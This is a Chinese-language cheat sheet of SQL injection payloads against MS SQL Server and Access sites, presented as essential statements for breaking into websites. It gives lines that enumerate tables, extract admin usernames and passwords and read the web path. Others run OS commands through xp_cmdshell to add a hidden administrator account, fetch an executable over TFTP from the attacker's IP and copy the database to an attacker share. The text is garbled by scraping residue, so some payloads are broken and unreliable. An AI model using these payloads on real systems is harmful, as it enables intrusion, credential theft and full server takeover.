入侵网站必备经典语句.....
得到一个admin的一个字段,假设为 user_blank>_id
and 0(select top 1 name from
bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0_id from BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0(select count(*) from master.dbo.sysdatabases where
name>1 and dbid=6)
and 0 (select top 1 name from
bbs.dbo.sysobjects where xtype=U) 得到表名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U and name not in(Address))
and
0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 判断id值
and 0(select top 1 name from
BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select
1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1
swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths
varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread
@rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet
\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT insert into paths (path) values(@test)--
;use ku1;--
;create
table cmd (str image);-- 建立image类型的表cmd
存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec
master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
;exec
master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
;exec
master.dbo.sp_blank>_addsrvrolemember jiaoniang$Content$nbsp;sysadmin;--
;exec
master.dbo.xp_blank>_cmdshell net user jiaoniang$Content$nbsp;1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec
master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$
/add;--
exec master..xp_blank> _servicecontrol start, schedule
启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
;
DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC
SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user
jiaoniang$Content$nbsp;1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE
wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null,
C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$Content$nbsp;/add
;
exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to
disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset
(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin
hax)
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and
right(left(userpass,01),1)=1) and userpass
select 123;--
;use
master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1(select
count (email) from [user]);--
;update [users] set email=(select top 1 name
from sysobjects where xtype=u and status>0) where name=ffff;--
;update
[users] set email=(select top 1 id from sysobjects where xtype=u and name=ad)
where name=ffff;--
;update [users] set email=(select top 1 name from
sysobjects where xtype=u and id>581577110) where name=ffff;--
;update
[users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where
name=ffff;--
;update [users] set email=(select top 1 name from password
where id=2) where name=ffff;--
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into
users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert
into users values( 667,123,123,0xffff)--
insert into users values ( 123,
admin--, password, 0xffff)--
;and user>0
;and (select count(*) from
sysobjects)>0
;and (select count(*) from mysysobjects)>0
//为access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1
name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name刚才得到的表名)。
;update aaa set
aaa=(select top 1 name from sysobjects where xtype=u and status>0 and
namevote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1
col_blank>_name (object_blank>_id(表名),1));--
然后id=152 and
exists(select * from aaa where aaa>5)出错,得到字段名